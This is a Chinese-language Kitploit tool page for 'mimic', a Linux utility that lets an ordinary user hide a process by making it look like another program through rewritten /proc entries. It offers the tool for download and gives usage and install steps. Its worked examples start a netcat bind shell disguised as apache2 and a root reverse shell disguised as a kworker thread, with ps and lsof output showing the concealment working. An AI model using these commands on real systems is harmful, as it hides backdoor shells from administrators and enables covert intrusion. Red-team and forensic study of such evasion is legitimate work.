Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
mimic — 在 Linux 中作为普通用户隐藏进程。 | Kitploit
工具/GitHubGitHub/emptymonkey/mimic
IDS/IPS规避渗透测试红队
GitHubemptymonkey/mimic

mimic

在 Linux 中作为普通用户隐藏进程。

查看仓库
263512年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

mimic

mimic 是一个用于 Linux x86_64 上隐蔽执行的工具。

什么是“隐蔽执行”?

隐蔽执行是一门隐藏进程的艺术。在本例中,mimic 将进程隐藏于众目睽睽之下。mimic 可以启动任何程序,并使其看起来像任何其他程序。任何用户都可以使用它。它不需要特殊权限。它不需要特殊的二进制文件。它不需要 root 套件。

什么?!不需要特殊权限??

没错。mimic 通过重新排列进程内部结构的方式,混淆该进程的 /proc 条目。所有报告进程性质的工具都是通过查看 /proc 来实现的。如果我们能够扭曲 /proc,那么我们就可以在众目睽睽之下隐藏进程。由于我们只是修改了属于我们自己的进程的状态,所以任何人都可以成功运行 mimic。

这可以被检测到吗?!

当然可以,但只有当你非常仔细地查看,或者运行专门寻找此类情况的取证工具时才能发现。mimic 的实用性在于,它首先就能防止他人起疑。

这能对脚本生效吗?

可以,但你需要直接在解释器上调用 mimic。例如,如果你的脚本第一行是 #!/usr/bin/perl,那么你应该这样调用 mimic:

root@kitploit:~
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl"

通过直接调用解释器,mimic 才能施展它的魔法。

mimic 的目标受众是谁?

任何在获取 root 权限之前合法需要隐蔽执行的人。包括但不限于:

  • 渗透测试人员。
  • 执行隐蔽操作的调查人员(当然,需事先获得其法律和人力资源部门的批准)。

为什么叫 “mimic”?

因为 “Liar, liar, /proc on fire!” 太长了。

什么是 “set_target_pid”?

set_target_pid 是 mimic 套件中的一个辅助小工具,它会耗尽进程 PID 直到你想要的 PID 重新出现。这允许你选择你的进程在进程列表中的位置。请注意,内核保留了前 300 个 PID 给内核线程。如果你试图低于这个数字,你很可能最终会使用 PID 301 运行。

用法

root@kitploit:~
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
	-e	执行 COMMAND。
	-m	将 COMMAND 设置为看起来像 MIMIC。
			非 root 用户的默认值:    "/usr/sbin/apache2 -k start"
			root 用户的默认值:        "[kworker/0:0]"
	-b	在后台启动 COMMAND。
	-a	向 _mimic_ 环境添加 / 覆盖 KEY 并关联 VALUE。
	-q	安静模式!不打印正常输出。
	-h	打印本帮助信息。

	注意:
		_mimic_ 环境将是 COMMAND 环境的一个副本。
		'_' 变量会自动更改。
		-a 标志可以多次调用以添加 / 覆盖多个变量。

	示例:
		mimic -e /bin/bash
		set_target_pid 1 && mimic -e /bin/bash
		mimic -b -e "./revsh"
		mimic -b -e "nc -l -e /bin/bash"
		mimic -b -e "nc -l -e \"mimic -e /bin/bash\""

示例

第一个示例 – 以普通用户身份启动一个 netcat 监听器:

root@kitploit:~
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child...                  Success!
Waiting for child to attach...      Success!
Initializing ptrace_do...           Success!
Determining stack state...          Success!
Politely requesting name change...  Success!
Searching for main()...             Success!
Building execution headers...       Success!
Setting up final state...           Success!

	Good-bye and have a good luck! :)

empty@monkey:~$ ps aux | grep apache
empty     1931 19.5  0.0  16648  1324 pts/1    S    21:41   0:02 /usr/sbin/apache2 -k start
empty     1935  0.0  0.0   7596   836 pts/1    S+   21:41   0:00 grep apache

empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty: 
apache2  1931 empty    3u  IPv6  14462      0t0  TCP *:31337 (LISTEN)
apache2  1931 empty    4u  IPv4  14463      0t0  TCP *:31337 (LISTEN)

第二个示例 – 以 root 身份启动一个 netcat 反向 shell:

root@kitploit:~
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"

你能发现伪造的 kworker 吗?没有 grep 的帮助你能发现吗?

root@kitploit:~
root@monkey:~$ ps aux | grep kworker | grep -v grep
root        18  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/3:0]
root       197  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:3]
root       198  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:4]
root       199  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:5]
root       302 23.4  0.0  18748  1912 pts/5    S    22:28   0:02 [kworker/0:0]
root       304 11.4  0.0   3780   296 pts/5    S    22:28   0:00 [kworker/0:0]              
root       305 10.8  0.0  10644  1200 pts/5    S    22:28   0:00 [kworker/0:0]
root       426  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/1:0]
root       434  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/3:2]
root       536  0.0  0.0      0     0 ?        S    20:12   0:00 [kworker/0:0]
root       879  0.0  0.0      0     0 ?        S    20:39   0:00 [kworker/2:0]
root      1463  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/1:2]
root      2132  0.0  0.0      0     0 ?        S    19:47   0:00 [kworker/2:2]
root      2607  0.0  0.0      0     0 ?        S    20:01   0:01 [kworker/0:1]

当然,kworker 不应该有打开的套接字,但我相信你在命名选择上可以比这更有创意。:)

root@kitploit:~
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0  302  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  304  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  305  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)

请注意,我在这里以 root 身份运行,只是因为 kworker 线程以非 root 用户身份运行时应该会非常可疑。新的 mimic 名称只是一个字符串。它不必是现有进程。见鬼,它甚至不必是一个真实的东西!

root@kitploit:~
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"

empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty      399  2.9  0.0   3780   300 pts/4    S    22:34   0:00 Totally not a rootkit!          
empty      400  2.7  0.0  19372  2044 pts/4    S    22:34   0:00 Totally not a rootkit!

安装

root@kitploit:~
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/mimic.git
cd mimic
make
下载工具